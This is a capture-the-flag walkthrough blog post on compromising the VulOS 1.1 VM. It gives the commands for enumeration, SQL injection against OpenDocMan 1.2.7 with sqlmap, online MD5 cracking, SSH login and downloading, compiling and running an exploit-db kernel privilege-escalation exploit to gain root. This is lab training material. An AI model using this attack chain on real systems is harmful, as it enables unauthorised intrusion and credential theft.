“Your assignment is to pentest a company website, get root of the system and read the final flag” is the only thing we know about this VM other than that is it a smaller one. Therefore without any further ado lets starts by finding our target aka victim.
netdiscover
And now we will run nmap to determine what services are running.
So, the services that running is SSH on 22 ports, HTTP on 80 ports, IRC on 6667.
As port 80 is open that means we can open it in browser.
Now there is link on this webpage. Let’s open it and it will link to the following page.
In this webpage there are various tabs and I explored each tab including their page source and I found nothing except for the last tab i.e. Document. When you look into the page source there will be line saying “jabd0cs/ on the server. Just log in with guest/guest.”
So, I opened the directory and logged in with guest:guest as username:password respectively. And there was an upload option but there was a restriction that you can only upload .doc file so it was pretty useless.
If you observe the log in page there is a cms opendocman v1.2.7. this version of opendocman is vulnerable.
Let’s search metasploit for the exploits to be use against opendocman. And for that type:
searchsploit OpenDocMan 1.2.7
Above is the exploit’s detail. Now we will use sqlmap to find out database of usernames and passwords and for that type:
sqlmap –u ‘http://192.168.0.102/jaabcd0cs/ajax_udf.php?q=1&add_value=odm_user’ –dbs
The sqlmap command will show us all the tables in the database.
Including the username and passwords as shown below.
As you can see that the password is in MD5 hash value. We can crack it online no third party tool is needed. Simply go to www.md5decrypt.org
Password turns outs to be webmin1980 with the username of webmin. As we have username and password we can log in through SSH port. And to log in through SSH open a new terminal in kali anfd type:
And then give the password when asked and you will have a session. Let’s check the version of kernel to see if it vulnerable or not.
lsb_release -a
The version is 14.04 that means it can be exploited and we only need to download its exploit from www.exploit-db.com
Type the following command to download it :
wget https://www.exploit-db.com/download/37292
As the exploit is downloaded, now as always we need to move it then compile it and then run it. And for that the set of commands is :
mv 37292 shell.c
gcc –o shell shell.c
./shell
And voila you have reached root but our challenge is not completed here. We still have to find the flag. Once you have reached root then go into the /root directory :
cd /root
Lets check what files and folders it is holding.
ls
And here you will a flag.txt. Read it!
cat flag.txt
Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here.
The post Hack the VulOS 1.1 VM (CTF Challenge) appeared first on Hacking Articles.